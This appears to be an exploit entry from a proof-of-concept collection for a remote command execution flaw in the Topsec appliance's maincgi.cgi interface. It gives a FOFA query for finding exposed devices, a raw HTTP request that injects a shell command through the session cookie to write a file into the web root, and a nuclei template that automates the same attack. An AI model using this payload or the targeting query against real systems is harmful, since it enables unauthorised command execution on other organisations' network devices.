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60 lines
2.2 KiB
Markdown
60 lines
2.2 KiB
Markdown
## 天融信TOPSEC_maincgi.cgi远程命令执行
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## fofa
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```
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title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"
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```
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## poc
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```
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GET /cgi/maincgi.cgi?Url=check HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Dnt: 1
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Upgrade-Insecure-Requests: 1
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Connection: close
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Cookie: session_id_443=1|echo 'This a vulnerability!' >> /www/htdocs/site/image/hard.txt;
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```
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## nuclei
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```
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id: topsec-maincgi-rce
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info:
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name: 天融信TOPSEC_maincgi.cgi远程命令执行
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author: fgz
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severity: critical
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description: 天融信TOPSEC解决方案包括综合管理系统，各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。该系统maincgi接口处存在RCE漏洞，会导致服务器失陷。
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metadata:
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max-request: 1
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fofa-query: app="天融信-上网行为管理系统",title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"
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verified: true
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variables:
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file_name: "{{to_lower(rand_text_alpha(6))}}"
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file_content: "{{to_lower(rand_text_alpha(15))}}"
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requests:
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- raw:
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- |+
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GET /cgi/maincgi.cgi?Url=check HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
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Cookie: session_id_443=1|echo '{{file_content}}' >> /www/htdocs/site/image/{{file_name}}.txt;
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- |
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GET /site/image/{{file_name}}.txt HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
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matchers:
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- type: dsl
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dsl:
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- "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"
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```
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